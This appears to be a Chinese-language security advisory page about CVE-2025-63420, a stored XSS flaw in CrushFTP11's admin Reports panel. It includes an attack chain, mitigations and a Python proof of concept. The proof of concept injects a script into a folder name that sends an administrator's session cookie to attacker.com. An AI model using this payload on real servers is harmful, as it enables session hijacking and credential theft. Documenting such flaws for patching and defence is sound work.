IPBUF安全漏洞报告
English
CVE-2025-63420 CVSS 4.1 中危

CVE-2025-63420 CrushFTP11 存储型HTML注入漏洞

披露日期: 2025-11-07

漏洞信息

漏洞编号
CVE-2025-63420
漏洞类型
存储型XSS
CVSS评分
4.1 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
CrushFTP11

相关标签

存储型XSSHTML注入CrushFTPCVE-2025-63420管理面板会话劫持

漏洞概述

CVE-2025-63420是CrushFTP11中的一个存储型HTML注入漏洞。该漏洞存在于CrushFTP管理面板的Reports功能中的"Who Created Folder"模块。攻击者可以利用此漏洞在服务器端存储恶意HTML/JavaScript代码,当管理员访问相关报告功能时,这些恶意代码将在管理员会话中持久执行。由于攻击发生在管理员上下文中,攻击者可能窃取管理员凭据、劫持管理员会话或执行其他管理操作。该漏洞的CVSS评分为4.1,属于中等严重程度,需要低权限用户配合用户交互才能利用。

技术细节

该漏洞是典型的存储型跨站脚本(XSS)漏洞,存在于CrushFTP11的管理界面Reports功能模块中。攻击者首先需要具备CrushFTP系统的低权限访问能力,然后通过"Who Created Folder"功能点注入恶意HTML或JavaScript代码。由于系统未对用户输入进行充分的HTML转义或内容安全策略(CSP)限制,恶意代码被永久存储在服务器端。当管理员后续访问该报告页面时,存储的恶意脚本会在管理员的浏览器上下文中执行。由于是管理员会话,恶意脚本可以执行特权操作,包括访问敏感管理功能、窃取会话Cookie或执行系统命令。此类存储型XSS漏洞的危害性在于其持久性,一旦注入成功,恶意代码会在所有访问该页面的用户浏览器中执行。

攻击链分析

STEP 1
信息收集
攻击者识别目标系统运行CrushFTP11并确定版本小于11.3.7_57
STEP 2
低权限访问
攻击者获取CrushFTP系统的低权限用户账号
STEP 3
注入恶意代码
通过Reports功能的Who Created Folder模块注入存储型HTML/JavaScript payload
STEP 4
等待管理员访问
恶意代码持久存储在服务器端,等待管理员访问相关报告页面
STEP 5
会话劫持
管理员访问页面时,恶意脚本在管理员会话中执行,窃取Cookie或执行特权操作
STEP 6
持久控制
攻击者利用获取的管理员权限执行进一步的攻击,如文件访问或系统控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-63420 PoC - CrushFTP11 Stored HTML Injection # Target: CrushFTP11 < 11.3.7_57 # Module: Admin Panel -> Reports -> "Who Created Folder" import requests import json target = "http://target-crushftp-server:8080" username = "low_priv_user" password = "user_password" session = requests.Session() # Step 1: Login to CrushFTP login_url = f"{target}/WebInterface/login.html" login_data = { "username": username, "password": password } response = session.post(login_url, data=login_data) # Step 2: Navigate to Reports -> Who Created Folder reports_url = f"{target}/WebInterface/function/?command=getWhoCreatedFolder" # Step 3: Inject malicious HTML/JavaScript payload malicious_payload = "<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>" injection_data = { "folder_path": "/path/to/target/folder", "folder_name": f"test{malicious_payload}", "command": "create" } response = session.post(reports_url, data=injection_data) # Step 4: When admin views the report, XSS executes print("Payload injected. Waiting for admin to access Reports page...") print(f"PoC URL: {target}/WebInterface/reports.html")

影响范围

CrushFTP11 < 11.3.7_57

防御指南

临时缓解措施
立即升级CrushFTP11至11.3.7_57或最新版本;在修复前临时禁用Reports功能中的Who Created Folder模块;对管理界面实施严格的会话管理和多因素认证;监控管理面板的异常访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表